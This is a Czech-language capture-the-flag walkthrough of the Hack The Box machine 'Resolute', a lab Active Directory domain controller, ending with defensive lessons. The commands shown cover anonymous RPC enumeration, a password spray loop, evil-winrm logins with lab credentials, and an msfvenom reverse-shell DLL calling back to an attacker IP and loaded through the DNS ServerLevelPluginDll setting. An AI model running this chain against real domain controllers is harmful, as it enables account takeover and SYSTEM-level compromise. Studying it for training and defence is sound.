Resolute
Úvod a kontext
Resolute je ukázkový Active Directory stroj, kde user foothold nevzniká exploitem, ale nepozornou správou účtů. Doménová enumerace bez přihlášení prozradí seznam uživatelů i popisek s výchozím heslem a z něj pak vede přímá cesta k validnímu WinRM přístupu.
Eskalace je pak zase jiný typ chyby: provozní tajemství v PowerShell transcriptu a příliš silná práva nad DNS službou. Je to dobrá připomínka, že AD útoky často nestojí na jedné „super zranitelnosti“, ale na několika obyčejných chybách v hygieně prostředí.
Vedle článků o AD technikách je Resolute dobré číst i spolu s textem Metadata, logy, incidentní a forenzní artefakty jako zdroj přístupů, protože rozhodující tajemství neleží v exploitu, ale v administrativním transcriptu.
Počáteční průzkum
Enumerace domény bez přihlášení
První scan ukázal typický řadič domény s LDAP, Kerberem, SMB a WinRM.
nmap -p 1-65535 -T4 -A -sC -v $IP
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Windows Server 2016 Standard
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Na takovém hostu má smysl zkusit anonymní RPC dotazy. Z nich šel vytáhnout nejen seznam účtů, ale i velmi cenný popisek u jednoho z nich. Praktickou roli tohoto typu enumerace rozebírám i v článku rpcclient:
rpcclient -W "" -U "%" -c querydispinfo $IP
Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
To neznamená automaticky, že marko má stále stejné heslo. Dává to ale dobrý důvod ověřit, zda nejde o výchozí heslo použité i u dalších novějších účtů.
Analýza zjištění
Ověření hesla proti doménovým uživatelům
Po anonymní enumeraci šlo sestavit seznam uživatelů a zkusit heslo Welcome123! proti celé sadě. To je přesně ten moment, kdy se z jedné zdánlivě nevýznamné poznámky stává použitelný foothold.
while IFS= read -r user; do
smbclient -W 'megabank.local' //megabank.local/ipc$ -U $user%'Welcome123!' -c 'help'
done < Megabank-users.txt
melanie
Získání přístupu
WinRM jako melanie
Jakmile bylo potvrzeno, že heslo funguje pro účet melanie, dával WinRM smysl jako nejstabilnější přístupový kanál.
Kdy a proč je tohle nejpraktičtější další krok rozebírám i v článku Evil-WinRM.
evil-winrm -i Resolute.megabank.local -u melanie -p 'Welcome123!'
V tomhle bodě už šlo potvrdit user.txt a zahájit lokální průzkum hostu. Nejdůležitější nález se neskrýval v nějakém exploitu, ale v administrativních transcriptech PowerShellu:
cmd /c dir c:\ /a:h /d
gc C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
To je provozní únik v čisté podobě: transcript zachytil přihlašovací údaje jiného účtu a uložil je lokálně na stroji, ke kterému se už útočník dostal.
Právě takové artefakty shrnuji i v článku Metadata, logy, incidentní a forenzní artefakty jako zdroj přístupů: nejde o zranitelnost PowerShellu, ale o to, že obranný nebo provozní nástroj sám vytvoří další credential source.
Přechod na ryan
Získané heslo šlo rovnou ověřit přes WinRM:
evil-winrm -i Resolute.megabank.local -u ryan -p 'Serv3r4Admin4cc123!'
Pozdější root část pak stojí i na technickém SMB helperu impacket-smbserver, jehož praktickou roli rozebírám v článku Impacket pro vzdálené vykonávání a SMB pomocné workflow.
Tím se celý útok posunul z běžného doménového účtu na uživatele s právy potřebnými pro zásah do DNS služby.
Eskalace oprávnění
DNS plugin DLL jako cesta k SYSTEM
Účet ryan měl možnost změnit cestu k server-level plugin DLL pro DNS službu. To je kritické oprávnění: při restartu služby se DLL načte s právy SYSTEM.
Praktický postup byl:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.134 LPORT=4000 -f dll -o dnsplugin.dll
impacket-smbserver data .
dnscmd.exe /config /serverlevelplugindll \\10.10.15.134\data\dnsplugin.dll
cmd /c "sc stop dns"
cmd /c "sc start dns"
Jakmile DNS služba načetla útočníkovu DLL ze vzdáleného SMB share, vznikl shell v kontextu SYSTEM. root.txt už pak byl jen ověřením plné kompromitace řadiče.
Shrnutí klíčových poznatků
- Rozhodující foothold nevznikl z Kerberos exploitu, ale z anonymní RPC enumerace a nešťastného popisku s výchozím heslem.
- User fáze byla dvoustupňová: nejdřív
melaniepřes hesloWelcome123!, potomryandíky uniklému tajemství v PowerShell transcriptu. - Finální eskalace využila silné administrační oprávnění nad DNS službou, nikoli kernel nebo lokální privilege escalation exploit.
Co si odnést do praxe
- Popisky účtů, onboarding poznámky a podobná „nevinná metadata“ v AD mohou útočníkovi dodat přesně ten kontext, který potřebuje pro úspěšný password spray.
- PowerShell transcripty a auditní logy jsou cenné jen tehdy, pokud samy neukládají hesla nebo přihlašovací příkazy v čitelné podobě. Jinak se z obranného nástroje stává loot pro další pivot.
- Práva nad DNS, službami a pluginy je potřeba auditovat stejně přísně jako členství v
Domain Admins. Možnost načíst DLL jako součást služby je v praxi téměř přímá cesta kSYSTEM.
Další související články
HTB Stroje
Techniky
- Dokumentová metadata jako vstup do domény
- Konfigurace síťových zařízení jako zdroj reuse hesel
- Kerberos útoky z nulového přístupu: AS-REP roast a práce s kandidátními uživateli